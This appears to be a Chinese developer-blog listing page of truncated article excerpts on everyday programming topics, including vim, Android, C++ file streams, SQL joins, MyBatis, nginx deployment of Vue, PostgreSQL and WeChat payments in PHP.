<!--服务器元素包含配置服务器时需要的信息 --> <server> <!--这是server的id(注意不是用户登陆的id),该id与distributionManagement中repository元素的id相匹配。 --> <id>server001</id> <!--鉴权用户名。鉴权用户名和鉴权密码表示服务器认证所需要的登录名和密码。 --> <username>my_login</username> <!

Linux下创建python脚本并运行

为了避免环境的来回切换,所以决定在Linux环境下编python程序 1、首先定位到文件夹,然后使用vim编辑器:vim numpy_torch.py 就创建了python脚本文件,并且进入编辑状态 2、编辑好之后按Esc切换到命令模式,然后输入:wq 回车就自动保存完成了,然后输入python3 numpy_torch.py运行程序 下面说下vim编辑器: vim编辑器的工作模式有三种:命令模式,输入模式,末行模式。 (1)模式之间的切换: 当打开一个文件的时候默认是处于命令模式,在命令按i或者insert就可以进入输入模式,在输入模式下按Esc就可以切换回命令模式;在命令模式下,按shift+;,末行出现:,则进入末行模式,按q可以退出末行模式。 (2)进入文件编辑,保存退出文件 vim filename 如果文件不存在就自动创建该名字的文件且进入,如果文件存在就直接进入该文件,

在Android Studio中复制项目

很多时候都需要在不影响当前工程的前提下,对该工程进行一定的修改,或者进行一些尝试,或者干脆在该工程基础上添加更多内容。 该如何复制呢?还要不能在复制工程后对原工程进行覆盖,需要修改的位置有3处。 1、Java类程序的程序包名称。 2、应用程序的程序包名称。 3、在Gradle中设置的应用程序ID。 对以上三处位置进行修改可分为两步(非常简单): 找到存放项目的文件夹,直接复制项目,如HelloWorld -> HelloWorldDemo 打开复制后的项目,开始进行修改: 第一步:一次性修改前两个位置: 右击项目 选择Refactor/Rename,在新弹出的窗口中点击Rename package,然后将原工程名修改(都是小写)。 点击Refactor,若看到目录结构中的项目并未更改,IDE下方出现一个预览窗口,点击Do refactor即可。如下图: 第二步:修改应用程序ID 点击File/Project Structure,在新弹出的窗口中,依次点击左边的app、上方的Flavors,然后在Application Id处修改成刚才修改的名称。如下图 点击OK完成。 所有步骤看似繁琐,其实只有两步,鼠标点击+填写两次名称即可快速完成项目复制。 注:此时运行项目不会覆盖原项目,但是程序名与原项目的程序名相同,为加以区分,需到app/res/values/strings.xml中修改app_name,如本文所示,可将程序名修改为HelloWorldDemo。

ifstream 的使用方法介绍 一

ofstream是从内存到硬盘,ifstream是从硬盘到内存,其实所谓的流缓冲就是内存空间; 在C++中,有一个stream这个类,所有的I/O都以这个“流”类为基础的,包括我们要认识的文件I/O,stream这个类有两个重要的运算符: 1、插入器(<<) 向流输出数据。比如说系统有一个默认的标准输出流(cout),一般情况下就是指的显示器,所以,cout<<"Write Stdout"<<'/n';就表示把字符串"Write Stdout"和换行字符('/n')输出到标准输出流。 2、析取器(>>) 从流中输入数据。比如说系统有一个默认的标准输入流(cin),一般情况下就是指的键盘,所以,cin>>x;就表示从标准输入流中读取一个指定类型(即变量x的类型)的数据。 在C++中,对文件的操作是通过stream的子类fstream(file stream)来实现的,所以,要用这种方式操作文件,就必须加入头文件fstream.h。下面就把此类的文件操作过程一一道来。 一、打开文件 在fstream类中,有一个成员函数open(),就是用来打开文件的,其原型是: void open(const char* filename,int mode,int access); 参数: filename: 要打开的文件名 mode: 要打开文件的方式 access: 打开文件的属性 打开文件的方式在类ios(是所有流式I/O类的基类)中定义,常用的值如下: ios::app: 以追加的方式打开文件 ios::ate: 文件打开后定位到文件尾,ios:app就包含有此属性 ios::binary: 以二进制方式打开文件,缺省的方式是文本方式。两种方式的区别见前文 ios::in: 文件以输入方式打开(文件数据输入到内存) ios::out: 文件以输出方式打开(内存数据输出到文件) ios::nocreate: 不建立文件,所以文件不存在时打开失败 ios::noreplace:不覆盖文件,所以打开文件时如果文件存在失败 ios::trunc: 如果文件存在,把文件长度设为0 可以用“或”把以上属性连接起来,如ios::out|ios::binary 打开文件的属性取值是: 0:普通文件,打开访问 1:只读文件 2:隐含文件 4:系统文件 可以用“或”或者“+”把以上属性连接起来,如3或1|2就是以只读和隐含属性打开文件。 例如:以二进制输入方式打开文件c:/config.sys fstream file1; file1.open("c://config.sys",ios::binary|ios::in,0); 如果open函数只有文件名一个参数,则是以读/写普通文件打开,即: file1.open("c://config.sys"); <=> file1.open("c://config.sys",ios::in|ios::out,0); 另外,fstream还有和open()一样的构造函数,对于上例,在定义的时侯就可以打开文件了: fstream file1("c://config.sys"); 特别提出的是,fstream有两个子类:ifstream(input file stream)和ofstream(outpu file stream),ifstream默认以输入方式打开文件,而ofstream默认以输出方式打开文件。 ifstream file2("c://pdos.def");//以输入方式打开文件 ofstream file3("c://x.123");//以输出方式打开文件 所以,在实际应用中,根据需要的不同,选择不同的类来定义:如果想以输入方式打开,就用ifstream来定义;如果想以输出方式打开,就用ofstream来定义;如果想以输入/输出方式来打开,就用fstream来定义。

Tkinter介绍

Tkinter介绍 Python支持多个图形库,例如Qt、wxWidgets,等等。但是Python的标准GUI库是Tkinter。Tkinter是Tk Interface的缩写。Python提供了tkinter包,里面含有Tkinter接口。 开始写程序 要使用Tkinter,首先需要导入Python提供的tkinter模块: import tkinter as tk 这个语句导入tkinter模块,但为方便,为它定义了一个别名tk。 GUI系统中,普遍有一个控件(widget)的概念。控件就是指按钮、滚动条、文本框这些东西。特殊地,窗口也是一个控件,窗口可以容纳其它控件。在Tkinter中,用Frame类表示窗口。我们的程序可以直接创建一个Frame对象再向里面添加控件,但习惯上会从Frame类派生出Application类(也可以叫其它名字): class Application(tk.Frame): 接下来我们需要为Application编写构造函数__init__: def __init__( self , master = None ): tk.Frame.__init__( self , master) self .grid() self .createWidgets() 首先,__init__有两个参数。第一个是self,即Application对象本身。第二个是master,在Tkinter中,一个控件可能属于另一个控件,这时另一个控件就是这个控件的master。默认一个窗口没有master,因此master有None的默认值。 第二行tk.Frame.__init__(self, master)调用Application的父类Frame的__init__函数初始化Application类的Frame类部分。__init__函数的定义如下: __init__(self, master=None, cnf={}, **kw) 初始化Frame对象。master为Frame的父控件,默认为None;cnf尚不清楚;kw为命名关键字参数,可接受的参数将在后面提到。 因为这里不是直接用对象调用函数,又不是一般意义的创建对象(例如后面的quitButton),而是初始化自身的一部分,因此需要传入self。我们还传入了Application.__init__的master参数,作为Frame.__init__的master。 第三行self.grid(),显示窗口并使用grid布局。grid方法是从Frame继承来的。Tkinter中有一个概念叫布局(layout),就是控件的排列方式。除了grid(),还有pack等布局。 第四行self.createWidgets(),调用后面定义的createWidgets方法。 然后是createWidgets方法的定义: def createWidgets( self ): self .quitButton = tk.Button( self , text = 'Quit' , command = self .quit) self .quitButton.grid() createWidgets函数的定义就不讲了,只有一个self参数。 第二行self.quitButton = tk.Button(self, text='Quit', command.self.quit),为Application类创建了一个quitButton属性,类型为Button。Button的构造函数如下: __init__(self, master=None, cnf={}, **kw

git 解决fatal: Not a git repository

我用git add file添加文件时出现了这样错误: fatal: Not a git repository (or any of the parent directories): .git 提示说没有.git这样一个目录,解决办法如下: git init就可以了! 也就是说,在命令行敲入git init回车之后,再重新执行添加文件的命令即可。 如下图所示: 从图中可以看出,问题已经解决。

cJSON学习

cJSON学习 1、JSON简介 JSON(JavaScript Object Notation, JS 对象标记) 是一种轻量级的数据交换格式。它采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。 2、cJSON解析器下载 https://sourceforge.net/projects/cjson/ 3、cJSON分析 3.1、cJSON简介 cJSON是用C语言写的用于解析json字符串和生成json字符串的库,他只有一个头文件和源文件。使用它只需要在自己的项目中加入cJSON.c和cJSON.h文件 3.2、cJSON分析 3.2.1. cJSON的机构体 typedef struct cJSON { //后继和前驱指针 struct cJSON *next,*prev; /* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */ //子对象指针 struct cJSON *child; /* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */ //cJSON的类型 int type; /* The type of the item, as above.

[MyBatis]模糊查询LIKE的三种方式

模糊查询也是数据库SQL中使用频率很高的SQL语句,使用MyBatis来进行更加灵活的模糊查询。 直接传参法 直接传参法,就是将要查询的关键字keyword,在代码中拼接好要查询的格式,如%keyword%,然后直接作为参数传入mapper.xml的映射文件中。 public void selectBykeyWord(String keyword) { String id = "%" + keyword + "%"; String roleType = "%" + keyword + "%"; String roleName = "%" + keyword + "%"; userDao.selectBykeyWord(id,roleName,roleType); } 在Dao层指定各个参数的别名 List<RoleEntity> selectBykeyWord(@Param("id") String id,@Param("roleName") String roleName,@Param("roleType") String roleType); <select id="selectBykeyWord" parameterType="string" resultType="com.why.mybatis.entity.RoleEntity"> SELECT * FROM t_role WHERE role_name LIKE #{roleName} OR id LIKE #{id} OR role_type LIKE #{roleType} </select> 执行出来的SQL语句: SELECT * FROM t_role WHERE role_name LIKE '%why%' OR id LIKE '%why%' OR role_type LIKE '%why%'; CONCAT()函数 MySQL的 CONCAT()函数用于将多个字符串连接成一个字符串,是最重要的mysql函数之一。

【SQL】—多表查询的几种连接方式

前言 最近在项目中用到连接查询,连接查询是关系数据中最主要的查询,包括内连接、外连接等。通过连接运算符可以实现多个表查询。下面来复习一下。 正文 连接查询主要分为三种:内连接、外连接、交叉连接。 内连接 使用比较运算符(包括=、>、<、<>、>=、<=、!> 和!<)进行表间的比较操作,查询与连接条件相匹配的数据。根据所使用的比较方式不同,内连接分为等值连接、自然连接和自连接三种。 关键字 INNER JOIN 等值连接/相等连接 使用”=”关系将表连接起来的查询,其查询结果中列出被连接表中的所有列,包括其中的重复列 SELECT PM_ACT_JOB_RLS.*, PM_ACT_RLS.* FROM PM_ACT_JOB_RLS INNER JOIN PM_ACT_RLS ON PM_ACT_JOB_RLS.RlsPK = PM_ACT_RLS.RlsPK 自然连接 等值连接中去掉重复的列,形成的连接 SELECT PM_ACT_JOB_RLS.JobPK, PM_ACT_RLS.RlsPK, RlsName FROM PM_ACT_JOB_RLS INNER JOIN PM_ACT_RLS ON PM_ACT_JOB_RLS.RlsPK = PM_ACT_RLS.RlsPK 自连接 如果在一个连接查询中,设计到的两个表都是同一个表,这种查询称为自连接查询。 --c1、c2逻辑上是两张表,物理上是一张表 SELECT c1.CategoryID, c1.CategoryName FROM [dbo].[Category] c1 INNER JOIN [dbo].[Category] c2 ON c1.[CategoryID] = c2.[ParentID] 内连接 内连接只返回满足连接条件的数据行,外连接不只列出与连接条件相匹配的行,而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的数据行。外连接分为左外连接、右外链接、全外连接三种。 左外连接 &nbsp;&nbsp;&nbsp;&nbsp; 返回左表中的所有行,如果左表中行在右表中没有匹配行,则在相关联的结果集中右表的所选择字段均为NULL。 &nbsp;&nbsp;&nbsp;&nbsp;关键字 &nbsp;&nbsp;&nbsp;&nbsp;<strong>LEFT [OUTER] JOIN</strong> ![这里写图片描述](https://img-blog.csdn.net/20180116200008438?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvenQxNTczMjYyNTg3OA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast) --左外连接 --1679条数据 SELECT me.

JAVA之String函数的20个方法详解

系统类 String() 简介 主要学习系统的常用方法 字符串是个常量 常量字符串 只要是对字符串进行操作 都是返回的是一个新的字符串(原字符串不能更改)= 练习 String str1 = "wanglong"; str1 = "刘德华"; System.out.println(str1); 字符串存在于常量池中 字符串本身没有发生变化 而是引用地址发生了变化 相当于指针重新指向 String string1 = "abc"; String string2 = new String("abc"); String string3 = "abc"; == 可以比较int类型和String字符串类型 当比较int类型时,直接比较值是否相等 当比较String字符串类型时,比较的是两个字符串地址是否一样 equals只能比较字符串类型 字符串中equals方法 比较的是 两个字符串中得每一个字符 System.out.println(string1 == string2); //false System.out.println(string1 == string3); //true System.out.println(string1.equals(string2)); //true string1 和 string2 有什么不同 分别代表几个对象? string1是一个对象 常量池里的一个对象abc string2是两个对象 "abc"是一个对象 又new了一个堆区的对象 1.获取 根据索引获取字符串中字符 返回值类型 方法名 参数 char charAt (int index) 根据字符获取在字符串中的位置 int indexof (int ch) int indexof (int ch, int fromIndex) 拼接字符串 String concat (String string1) 2.

sensor_msgs/PointCloud2 Message

sensor_msgs/PointCloud2 Message File: sensor_msgs/PointCloud2.msg Raw Message Definition # This message holds a collection of N-dimensional points, which may # contain additional information such as normals, intensity, etc. The # point data is stored as a binary blob, its layout described by the # contents of the "fields" array. # 此消息包含N维点的集合,其中可能包含法线,强度等附加信息。点数据以二进制Blob存储,其布局由“fields”数组的内容描述 # The point cloud data may be organized 2d (image-like) or 1d # (unordered). Point clouds organized as 2d images may be produced by

为什么恢复后的数据打不开了

关于数据恢复软件的使用,结合官方网站和网络上的大把教程,大部分人还是可以顺利掌握的。不过数据恢复的效果却各有不同,这其实不是数据恢复软件造成的,而是数据在丢失过程中出了问题。 令很多人疑惑的一大问题是,为什么数据恢复之后却打不开了?今天我们就来谈谈这个问题。 恢复后的数据打不开一般有这两种情况:打开是乱码,没法用;打开数据时提示无法查看。(最常出现这种情况的数据是office文档) 导致恢复的数据是乱码或者打不开有这两点原因: 1、恢复的数据是临时文件或者是快捷方式 2、发生了数据覆盖或者数据已经被损坏 快捷方式多数是从桌面上恢复出来的,想要避免这种情况,我们在保存一个重要数据时,最好不要将它放到桌面上。数据覆盖则是指数据在丢失后,丢失分区写入了新数据,新数据占用了旧数据的空间位置,于是发生了覆盖。 所以想要正确恢复丢失数据,在数据丢失后就不应该再对丢失分区进行任何操作。比如U盘被格式化了,那么想要恢复格式化数据,应该马上使用数据恢复软件或者让专业技术人员来操作,不应该再使用这块U盘来存放新数据。

什么是泛型中的限定通配符和非限定通配符 ?

限定通配符对类型进行了限制。 有两种限定通配符,一种是它通过确保类型必须是T的子类来设定类型的上界,另一种是它通过确保类型必须是T的父类来设定类型的下界。泛型类型必须用限定内的类型来进行初始化,否则会导致编译错误。另一方面表示了非限定通配符,因为可以用任意类型来替代。 即:限定通配符包括两种: 1. 表示类型的上界,格式为:<? extends T>,即类型必须为T类型或者T子类 2. 表示类型的下界,格式为:<? super T>,即类型必须为T类型或者T的父类 非限定通配符:类型为<T>,可以用任意类型来替代。

Windows 10 任务管理器重置偏好设置

打开注册表,找到 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\TaskManager 删除该项下的 Preferences 值即可。 (任务管理器配置文件的保存路径)

ios面试数据结构与算法

1、不用中间变量,变换A和B的值 // 1.中间变量 void swap(int a, int b) { int temp = a; a = b; b = temp; } // 2.加法 void swap(int a, int b) { a = a + b; b = a - b; a = a - b; } // 3.异或(相同为0,不同为1. 可以理解为不进位加法) void swap(int a, int b) { a = a ^ b; b = a ^ b; a = a ^ b; }2、求最大公约数 /** 1.

如何部署vue前端项目到服务器上(nginx处理跨域)

注: 本文选择了nginx做web服务器。 因为在本文vue前端项目中,需要从接口获取数据,可是数据与vue前端项目是在同一ip地址但不同端口号,所以需要跨域读取数据。本文的跨域处理是使用了nginx。 环境: 阿里云服务器(ubuntu 64bit) xshellnginx 1.使用xshell登录到阿里云服务器。安装nginx(本文安装到/etc下) cd /etc apt-get update apt-get install nginx 2.首先先配置nginx,然后再根据配置文件做下一步操作 打开/etc/nginx/nginx.conf文件 vim /etc/nginx/nginx.conf在nginx.conf中配置如下: user www-data; worker_processes auto; pid /run/nginx.pid; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.

【Postgresql】数据库postgresql 10的data目录迁移(不用重新安装)

安装后默认的目录: /var/lib/pgsql/{version}/data 1,哪儿启动的数据库? 数据库服务一般开机自动启动,那么就可以顺藤摸瓜找到相关的service。 对于postgresql10,它的服务名为postgresql-10.service,该文件的路径为: /usr/lib/systemd/system/postgresql-10.service postgresql-10.service的文件内容如下: # It's not recommended to modify this file in-place, because it will be # overwritten during package upgrades. If you want to customize, the # best way is to create a file "/etc/systemd/system/postgresql-10.service", # containing # .include /lib/systemd/system/postgresql-10.service # ...make your changes here... # For more info about custom unit files, see # http://fedoraproject.org/wiki/Systemd#How_do_I_customize_a_unit_file.2F_add_a_custom_unit_file.3F # Note: changing PGDATA will typically require adjusting SELinux # configuration as well.

vue-router详解及实例

写在前面 用户进行了交互操作,现在要对页面内容进行变更,可以通过javascript进行动态替换DOM,但是其不便于分享、收藏,对于搜索引擎和用户来说都是不友好的! 什么是前端路由? ​ 根据不同的 url 地址展示不同的内容或页面,无需依赖服务器根据不同URL进行页面展示操作 优点 用户体验好,不需要每次都从服务器全部获取,快速展现给用户 缺点 使用浏览器的前进,后退键的时候会重新发送请求,没有合理地利用缓存单页面无法记住之前滚动的位置,无法在前进,后退的时候记住滚动的位置 简介 ​ 使用 Vue.js ,可以通过组合组件来组成应用程序,当你要把 vue-router 添加进来,我们需要做的是,将组件(components)映射到路由(routes),然后告诉 vue-router 在哪里渲染它们。 // 1. 定义、引用(路由)组件。 const Foo = { template: '<div>foo</div>' } import Bar from '@/views/bar.vue' // 2. 定义路由 const routes = [ { path: '/foo', name: 'foo', component: Foo }, { path: '/bar', name: 'bar', component: Bar } ] // 3. 创建 router 实例,然后传 `routes` 配置 const router = new VueRouter({ routes // (缩写)相当于 routes: routes }) // 4.

Android TabLayout 设置间距\字体大小的正确姿势

android.support.design.widget.TabLayout 属性并没有直接设置item之间间距和字体 的属性 又不想用硬编码 效果: 直接上代码 : <android.support.design.widget.TabLayout android:id="@+id/m_tbl" android:layout_width="match_parent" android:layout_height="50dp" android:background="@color/transparent" app:tabBackground="@drawable/tab_layout_background"//背景设置间距 app:tabGravity="fill" app:tabIndicatorHeight="0dp" app:tabMaxWidth="0dp"//tab大屏时宽度超过一定值后,就不在平均分配宽度,而是居中显示 app:tabMode="fixed" app:tabSelectedTextColor="@color/color_white" app:tabTextAppearance="@style/MyTabLayoutTextAppearance"//字体大小设置也不能直接设置 app:tabTextColor="@color/color_white" /> tab_layout_background: <selector xmlns:android="http://schemas.android.com/apk/res/android"> <item android:drawable="@drawable/sel_bg_tab_yes" android:state_selected="true" /> <item android:drawable="@drawable/sel_bg_tab_no" /> </selector> 这两个状态的selector类似就放一个 <?xml version="1.0" encoding="utf-8"?> <layer-list xmlns:android="http://schemas.android.com/apk/res/android"> <!-- 连框颜色值 --> <item android:left="@dimen/dp_40" android:right="@dimen/dp_40"> <shape> <solid android:color="@color/tab_no_color" /> <corners android:bottomLeftRadius="25dp" android:bottomRightRadius="25dp" android:topLeftRadius="25dp" android:topRightRadius="25dp" /> </shape> </item> <!-- 主体背景颜色值 --> <item android:bottom="1dp" android:left="@dimen/dp_40" android:right="@dimen/dp_40" android:top="1dp"> <shape> <solid android:color="@color/tab_no_color" /> <padding android:bottom="

HTML input placeholder的样式设置

placeholder 兼容写法: ::-webkit-input-placeholder { /* Chrome/Opera/Safari */ color: pink; } ::-moz-placeholder { /* Firefox 19+ */ color: pink; } :-ms-input-placeholder { /* IE 10+ */ color: pink; } :-moz-placeholder { /* Firefox 18- */ color: pink; } 支持的属性: font propertiescolorbackground propertiesword-spacingletter-spacingtext-decorationvertical-aligntext-transformline-heighttext-indentopacity 案例1:input的placeholder内容居中,光标不居中 input { width: 150px; } input::-webkit-input-placeholder { padding-left:30px; } 案例2:某些placeholder上下不居中 调整line-height属性

微信企业付款到零钱

获取微信用户openid /** * 实例化redis对象 * @return Redis redis对象 */ function newRedis() { $redis=new \Redis(); $redis->connect("127.0.0.1",6379); $redis->auth("redis密码"); return $redis; } /** * 请求微信api */ private $_openUrlAuthorize = "https://open.weixin.qq.com/connect/oauth2/authorize"; public function requestUrl() { require_once './Wpay/lib/WxPay.Api.php'; //该参数可用于防止csrf攻击(跨站请求伪造攻击) $str = null; $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; $max = strlen($strPol)-1; for($i=0;$i<10;$i++){ $str.=$strPol[rand(0,$max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数 } $uid=get_cookie("uid"); $stats = $uid . $str; $redis = newRedis(); $redis->set('wx_state'.$uid,$stats);//把随机字符串写入redis,验证时对比 $url=$this->_openUrlAuthorize."?appid=".\WxPayConfig::APPID."&redirect_uri=".urlencode("回调地址")."&response_type=code&scope=snsapi_userinfo&state=".$stats."#wechat_redirect"; /** * 生成二维码 */ require './Wpay/example/phpqrcode/phpqrcode.php'; // 纠错级别:L、M、Q、H $level = 'L'; // 点的大小:1到10,用于手机端4就可以了 $size = 4; // 下面注释了把二维码图片保存到本地的代码,如果要保存图片,用$fileName替换第二个参数false //$path = "

主流的深度学习模型有哪些?

本文来自AI新媒体量子位(QbitAI) 深度学习大热以后各种模型层出不穷,很多朋友都在问到底什么是DNN、CNN和RNN,这么多个网络到底有什么不同,作用各是什么? 趁着回答《深度学习的主要分类是什么呀?这些网络cnn dbn dnm rnn是怎样的关系?》这个问题的机会,我也想介绍一下主流的神经网络模型。因为格式问题和传播原因,我把原回答内容在这篇文章中再次向大家介绍。 在更详细的介绍各种网络前,首先说明: 大部分神经网络都可以用深度(depth)和连接结构(connection)来定义,下面会具体情况具体分析。 笼统的说,神经网络也可以分为有监督的神经网络和无/半监督学习,但其实往往是你中有我我中有你,不必死抠字眼。 有鉴于篇幅,只能粗略的科普一下这些非常相似的网络以及应用场景,具体的细节无法展开详谈,有机会在专栏中深入解析。 文章中介绍的网络包括: 1. 有监督的神经网络(Supervised Neural Networks) 1.1. 神经网络(Artificial Neural Networks)和深度神经网络(Deep Neural Networks) 追根溯源的话,神经网络的基础模型是感知机(Perceptron),因此神经网络也可以叫做多层感知机(Multi-layer Perceptron),简称MLP。单层感知机叫做感知机,多层感知机(MLP)≈人工神经网络(ANN)。 那么多层到底是几层?一般来说有1-2个隐藏层的神经网络就可以叫做多层,准确的说是(浅层)神经网络(Shallow Neural Networks)。随着隐藏层的增多,更深的神经网络(一般来说超过5层)就都叫做深度学习(DNN)。 然而,“深度”只是一个商业概念,很多时候工业界把3层隐藏层也叫做“深度学习”,所以不要在层数上太较真。在机器学习领域的约定俗成是,名字中有深度(Deep)的网络仅代表其有超过5-7层的隐藏层。 神经网络的结构指的是“神经元”之间如何连接,它可以是任意深度。以下图的3种不同结构为例,我们可以看到连接结构是非常灵活多样的。 需要特别指出的是,卷积网络(CNN)和循环网络(RNN)一般不加Deep在名字中的原因是:它们的结构一般都较深,因此不需要特别指明深度。想对比的,自编码器(Auto Encoder)可以是很浅的网络,也可以很深。所以你会看到人们用Deep Auto Encoder来特别指明其深度。 应用场景:全连接的前馈深度神经网络(Fully Connected Feed Forward Neural Networks),也就是DNN适用于大部分分类(Classification)任务,比如数字识别等。但一般的现实场景中我们很少有那么大的数据量来支持DNN,所以纯粹的全连接网络应用性并不是很强。 1. 2. 循环神经网络(Recurrent Neural Networks)和递归神经网络(Recursive Neural Networks) 虽然很多时候我们把这两种网络都叫做RNN,但事实上这两种网路的结构事实上是不同的。而我们常常把两个网络放在一起的原因是:它们都可以处理有序列的问题,比如时间序列等。 举个最简单的例子,我们预测股票走势用RNN就比普通的DNN效果要好,原因是股票走势和时间相关,今天的价格和昨天、上周、上个月都有关系。而RNN有“记忆”能力,可以“模拟”数据间的依赖关系(Dependency)。 为了加强这种“记忆能力”,人们开发各种各样的变形体,如非常著名的Long Short-term Memory(LSTM),用于解决“长期及远距离的依赖关系”。如下图所示,左边的小图是最简单版本的循环网络,而右边是人们为了增强记忆能力而开发的LSTM。 同理,另一个循环网络的变种 - 双向循环网络(Bi-directional RNN)也是现阶段自然语言处理和语音分析中的重要模型。开发双向循环网络的原因是语言/语音的构成取决于上下文,即“现在”依托于“过去”和“未来”。单向的循环网络仅着重于从“过去”推出“现在”,而无法对“未来”的依赖性有效的建模。 递归神经网络和循环神经网络不同,它的计算图结构是树状结构而不是网状结构。递归循环网络的目标和循环网络相似,也是希望解决数据之间的长期依赖问题。而且其比较好的特点是用树状可以降低序列的长度,从O(n)降低到O(log(n)),熟悉数据结构的朋友都不陌生。但和其他树状数据结构一样,如何构造最佳的树状结构如平衡树/平衡二叉树并不容易。 应用场景:语音分析,文字分析,时间序列分析。主要的重点就是数据之间存在前后依赖关系,有序列关系。一般首选LSTM,如果预测对象同时取决于过去和未来,可以选择双向结构,如双向LSTM。 1.3. 卷积网络(Convolutional Neural Networks) 卷积网络早已大名鼎鼎,从某种意义上也是为深度学习打下良好口碑的功臣。不仅如此,卷积网络也是一个很好的计算机科学借鉴神经科学的例子。卷积网络的精髓其实就是在多个空间位置上共享参数,据说我们的视觉系统也有相类似的模式。 首先简单说什么是卷积。卷积运算是一种数学计算,和矩阵相乘不同,卷积运算可以实现稀疏相乘和参数共享,可以压缩输入端的维度。和普通DNN不同,CNN并不需要为每一个神经元所对应的每一个输入数据提供单独的权重。 与池化(pooling)相结合,CNN可以被理解为一种公共特征的提取过程,不仅是CNN大部分神经网络都可以近似的认为大部分神经元都被用于特征提取。 以上图为例,卷积、池化的过程将一张图片的维度进行了压缩。从图示上我们不难看出卷积网络的精髓就是适合处理结构化数据,而该数据在跨区域上依然有关联。 应用场景:虽然我们一般都把CNN和图片联系在一起,但事实上CNN可以处理大部分格状结构化数据(Grid-like Data)。举个例子,图片的像素是二维的格状数据,时间序列在等时间上抽取相当于一维的的格状数据,而视频数据可以理解为对应视频帧宽度、高度、时间的三维数据。 2. 无监督的预训练网络(Unsupervised Pre-trained Neural Networks) 2.

C# 写入图片元数据

Tiff图片元数据写入并保存 /// <summary> /// 通过解码器与编码器写入元数据 /// </summary> /// <param name="inputPath">原图片全路径</param> /// <param name="outputPath">新图片全路径</param> /// <param name="comment">内容</param> /// <returns>带有元数据的内存流</returns> public void DecoderAndEncoderSaveTif(string inputPath, string outputPath, string comment) { var src = inputPath; var bitmapEncoder = new TiffBitmapEncoder(); FileStream stream = new FileStream(inputPath, FileMode.Open); byte[] bytes = new byte[stream.Length]; stream.Read(bytes, 0, bytes.Length); stream.Close(); MemoryStream ms = new MemoryStream(bytes, true); var bitmapDecoder = new TiffBitmapDecoder(ms, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.Default); var frame = bitmapDecoder.Frames[0]; var metadata = (BitmapMetadata)frame.

不要在构造函数和析构函数中调用虚函数

提到构造函数和析构函数,想必大家肯定是非常了解,但是能否在构造函数或是析构函数中调用虚函数呢? 答案是千万不要这么做,这么做不会得到大家想要的结果。 首先提一下构造函数,构造函数的顺序是从基类开始构造->子类,如果在基类中调用虚函数,由于构造函数基类中仅存在自身 (或其父类,如果存在),不会根据虚函数表的规则去调用。看如下例子 class Base { public: Base() { callVirtual(); } protected: virtual callVirtual() { fprintf(stdout, "Base::callVirtual()\n");} }; class Derived : public Base { public: Derived() {} protected: virtual callVirtual() { fprintf(stdout, "Derived::callVirtual()\n");} }; int main() { Derived d; } //结果为Base::callVirtual(),因为在基类构造的过程中还没有构造派生类,虚函数表中派生类的函数并未加入进来 //所以查找函数的时候只能找到基类的调用函数 同理:由于在析构函数中,子类的析构函数已经调用过了,在父类的析构函数中也无法访问子类的虚函数表

Android sdk版本号和API级别的对照表

Android SDK版本号与API级别的对照表 对应关系可以参考官网:https://developer.android.com/guide/topics/manifest/uses-sdk-element.html#ApiLevels API 级别是一个对 Android 平台版本提供的框架 API 修订版进行唯一标识的整数值。 Android 平台提供了一种框架 API,应用可利用它与底层 Android 系统进行交互。 该框架 API 由以下部分组成: 一组核心软件包和类一组用于声明清单文件的 XML 元素和属性一组用于声明和访问资源的 XML 元素和属性一组 Intent一组应用可请求的权限,以及系统中包括的权限强制执行 应用可以利用框架 API 提供的清单元素 () 来说明其可以运行的最低和最高 API 级别,以及其在设计上支持的首选 API 级别。 该元素具有以下三个重要属性: android:minSdkVersion - 指定能够运行应用的最低 API 级别。 默认值为“1”。android:targetSdkVersion - 指定运行应用的目标 API 级别。 在某些情况下,这允许应用使用在目标 API 级别中定义的清单文件元素或行为,而不是仅限于使用那些针对最低 API 级别定义的元素。android:maxSdkVersion - 指定能够运行应用的最高 API 级别。 重要说明:在使用该属性之前,请先阅读 文档。 例如,要指定应用运行所需的最低系统 API 级别,应用需要在其清单中加入一个带 android:minSdkVersion 属性的 元素。 android:minSdkVersion 是一个整数值,对应于能够运行应用的最低版本 Android 平台的 API 级别。 当用户试图安装应用,或在系统更新后重新验证应用时,Android 系统会先检查应用清单中的 属性,然后将这些属性的值与其自己的内部 API 级别进行对比。 只有在符合以下条件时,系统才允许安装开始:

vim 中文编码

解决vim 中文乱码 1.打开vimrc vim ~/.vimrc 2.添加几行设置编码 set fileencodings=utf-8,ucs-bom,gb18030,gbk,gb2312,cp936 set termencoding=utf-8 set encoding=utf-8 亲测vim 8.0.x有效 3.参考 https://www.cnblogs.com/joeyupdo/archive/2013/03/03/2941737.html

PHP 一一 微信公众号开发(二次开发)

